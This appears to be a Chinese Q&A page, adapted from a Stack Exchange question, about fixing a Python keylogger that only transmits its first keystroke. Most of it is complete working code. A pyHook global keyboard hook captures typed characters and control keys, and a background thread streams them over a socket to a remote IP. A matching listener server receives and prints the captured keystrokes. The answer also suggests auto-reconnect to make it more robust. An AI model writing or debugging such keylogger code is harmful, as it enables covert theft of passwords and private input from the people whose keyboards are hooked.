为键盘记录器添加Socket:解决仅发送首个按键的问题
解决键盘记录器仅能发送首个按键的问题
嘿,我看你遇到的问题了——自己做的键盘记录器只能把第一个按键发去接收端,后面的按键都没反应对吧?结合你给的代码片段,我帮你分析下原因,再给几个可行的修复方案。
问题根源分析
你当前的代码里,直接在pyHook的键盘钩子函数里调用s.send(),这里有个关键问题:pyHook的钩子函数是在系统的事件处理线程里运行的,如果send()操作因为网络原因阻塞了,整个钩子线程就会卡住,后续的键盘事件根本触发不了钩子函数,自然发不出后续的按键。
另外还有个潜在问题:socket的send()不一定能一次性把数据发完,而且如果接收端只调用了一次recv(),也会导致后续数据看起来像是没发送成功。
修复方案
1. 把发送操作放到独立线程里
核心思路是:钩子函数只负责收集按键,把按键放到一个队列里,然后开一个专门的线程来处理socket发送,避免阻塞钩子线程。代码示例如下:
import socket import pythoncom import pyHook import queue import threading HOST = "192.168.2.103" PORT = 5000 # 创建队列缓存按键,解耦收集和发送逻辑 key_queue = queue.Queue() def send_worker(): # 在子线程里创建socket连接 s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) try: s.connect((HOST, PORT)) print("已连接到接收端") while True: # 从队列取按键,没有数据时会阻塞,不占用CPU keylog = key_queue.get() # 用sendall确保数据完整发送(自动处理分片) s.sendall(keylog.encode("utf-8")) key_queue.task_done() except Exception as e: print(f"发送异常: {str(e)}") s.close() # 启动后台发送线程,daemon=True确保主线程退出时子线程也跟着结束 threading.Thread(target=send_worker, daemon=True).start() def OnKeyboardEvent(event): # 只处理可打印ASCII字符,避免乱码 if 32 <= event.Ascii <= 126: keylog = chr(event.Ascii) key_queue.put(keylog) # 特殊处理常用控制键 elif event.Ascii == 13: key_queue.put("\n[ENTER]") elif event.Ascii == 8: key_queue.put("[BACKSPACE]") elif event.Ascii == 9: key_queue.put("[TAB]") # 必须返回True,否则钩子会被移除 return True # 初始化并启动键盘钩子 hook_manager = pyHook.HookManager() hook_manager.KeyDown = OnKeyboardEvent hook_manager.HookKeyboard() # 启动消息循环,保持程序运行 pythoncom.PumpMessages()
2. 确保接收端持续读取数据
别忽略接收端的问题!如果接收端只调用了一次recv(),那只能拿到第一个按键,后续的数据会留在socket缓冲区里,看起来像是发送失败。接收端的代码要写成循环读取的形式:
import socket HOST = "0.0.0.0" # 监听所有网卡 PORT = 5000 server_socket = socket.socket(socket.AF_INET, socket.SOCK_STREAM) server_socket.bind((HOST, PORT)) server_socket.listen(1) print(f"等待连接,监听端口 {PORT}") conn, addr = server_socket.accept() print(f"已连接: {addr}") try: while True: # 每次读取1024字节,循环接收 data = conn.recv(1024) if not data: # 连接断开时退出循环 print("连接已断开") break print(f"收到按键: {data.decode('utf-8')}", end='') finally: conn.close() server_socket.close()
3. 额外的优化建议
- 可以给队列加个最大长度,避免内存溢出;
- 处理异常情况(比如接收端断开后自动重连);
- 对非打印按键做更友好的映射,方便查看记录。
内容的提问来源于stack exchange,提问作者Süleyman Yaman
相关产品推荐
相关产品推荐

